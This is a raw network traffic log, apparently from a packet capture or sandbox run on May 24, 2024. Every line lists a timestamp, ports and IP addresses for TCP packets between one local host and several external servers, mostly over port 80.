May 24, 2024 09:42:05.615869999 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.615894079 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.615919113 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.616740942 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.616789103 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.644553900 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.644650936 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.644794941 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.644938946 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.645190954 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.645224094 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.645239115 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.645276070 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.649364948 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.649395943 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.649426937 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.649452925 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.660918951 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.661005974 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.661108971 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.661169052 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.661643028 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.662123919 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.662157059 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.662193060 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.662223101 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.662661076 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.662693977 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.662724018 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.662813902 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.663655996 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.663688898 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.663721085 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.663748980 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.663779020 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.664670944 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.664704084 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.664725065 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.664752960 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.665651083 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.665713072 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.666177034 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.666210890 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.666243076 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.666273117 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.666301966 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.667208910 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.667243004 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.667267084 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.667294025 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.668226004 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.668258905 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.668301105 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.669022083 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.669054985 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.669099092 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.669831991 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.670121908 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.670491934 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.670521021 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.670577049 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.670578003 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.670614004 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.670630932 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.670644045 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.670672894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.670697927 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.671446085 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.671462059 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.671477079 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.671498060 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.671523094 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.671523094 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.672252893 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.672269106 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.672281027 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.672293901 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.672339916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.672339916 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.673072100 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.673088074 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.673120022 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.673157930 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.673885107 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.673901081 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.673913956 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.673939943 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.673974037 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.674683094 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.674699068 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.674748898 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.674751997 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.675462008 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.675477982 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.675513983 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.675539970 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.676161051 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.676177979 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.676192045 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.676204920 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.676219940 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.676219940 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.676255941 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.676255941 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.676908016 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.676923037 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.676934958 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.676951885 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.676978111 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.677647114 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.677661896 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.677706957 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.678375959 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.678390980 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.678427935 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.678456068 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.679120064 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.679136038 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.679182053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.679182053 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.679887056 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.679903030 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.679914951 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.679933071 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.679958105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.681328058 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.681344032 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.681354046 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.681358099 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.681371927 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.681382895 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.681385994 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.681430101 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.681457996 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.681940079 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.681972980 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.682005882 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.682025909 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.682054996 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.682925940 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.682959080 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.682987928 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.682991028 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.683000088 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.683023930 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.683047056 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.683057070 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.683943987 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.683976889 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.684000969 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.684009075 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.684020042 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.684061050 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.684860945 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.684895039 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.684915066 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.684926033 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.684945107 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.684968948 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.685837984 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.685870886 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.685894966 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.685902119 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.685913086 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.685934067 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.685945988 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.686207056 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.686758041 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.686790943 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.686820984 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.686821938 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.686841965 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.686861038 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.687683105 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.687716007 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.687747955 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.687771082 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.687799931 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.688568115 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.688601017 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.688632965 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.688632965 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.688644886 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.688682079 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.688695908 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.688719988 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.689390898 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.689423084 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.689455032 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.689469099 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.689491034 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.690208912 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.690243959 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.690268040 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.690274954 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.690289974 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.690306902 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.690315008 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.690550089 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.691095114 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.691128016 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.691153049 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.691159010 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.691176891 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.691190958 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.691210985 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.691231012 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.692092896 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.692126989 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:05.692150116 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.692154884 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.692187071 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.692209005 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:05.692230940 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.692230940 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.692426920 CEST	49745	80	192.168.2.4	103.146.158.221
May 24, 2024 09:42:05.692640066 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.692672968 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.692696095 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.692704916 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.692759991 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.692774057 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.693597078 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.693629026 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.693660975 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.693675995 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.693705082 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.694257975 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.694291115 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.694320917 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.694344997 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.694353104 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.694356918 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.694379091 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.694396973 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.694952965 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.694986105 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.695005894 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.695017099 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.695034981 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.695049047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 09:42:05.695059061 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.695090055 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 09:42:05.700442076 CEST	80	49745	103.146.158.221	192.168.2.4
May 24, 2024 09:42:05.751430035 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.751482010 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.754916906 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.754931927 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.754982948 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.755016088 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.755079031 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.755141020 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.755352020 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.755393028 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.755628109 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.755642891 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.755685091 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.755685091 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.756213903 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.756230116 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.756242990 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.756274939 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.756275892 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.756750107 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.756766081 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.756814003 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.756820917 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.757021904 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.757064104 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.757208109 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.757244110 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.757426977 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.757464886 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.758922100 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.758965969 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.760621071 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.760636091 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.760662079 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.760683060 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.760735989 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.760781050 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.762200117 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.762248993 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.766994953 CEST	80	49734	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.767038107 CEST	49734	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.769606113 CEST	443	49748	188.114.97.3	192.168.2.4
May 24, 2024 09:42:05.769682884 CEST	49748	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:05.776329994 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.776380062 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.776545048 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.776590109 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.777090073 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.777147055 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.778136015 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.778196096 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.779602051 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.779635906 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.779659033 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.779709101 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.779735088 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.779752016 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.781186104 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.781241894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.781264067 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.781308889 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.781512022 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.781577110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.782680035 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.782731056 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.784110069 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.784154892 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.784262896 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.784420967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.784462929 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.784476995 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.784499884 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.784514904 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.784887075 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.784903049 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.784953117 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.784961939 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.785130024 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:05.785145044 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785171032 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:05.785207987 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.785558939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785573959 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785618067 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.785820007 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785835981 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785850048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.785871983 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.785902977 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.786520004 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.786535025 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.786547899 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.786561966 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.786573887 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.786602974 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.786632061 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.787153959 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787170887 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787230968 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:05.787610054 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787626028 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787638903 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787652969 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:05.787667036 CEST	80	49736	91.202.233.232	192.168.2.4
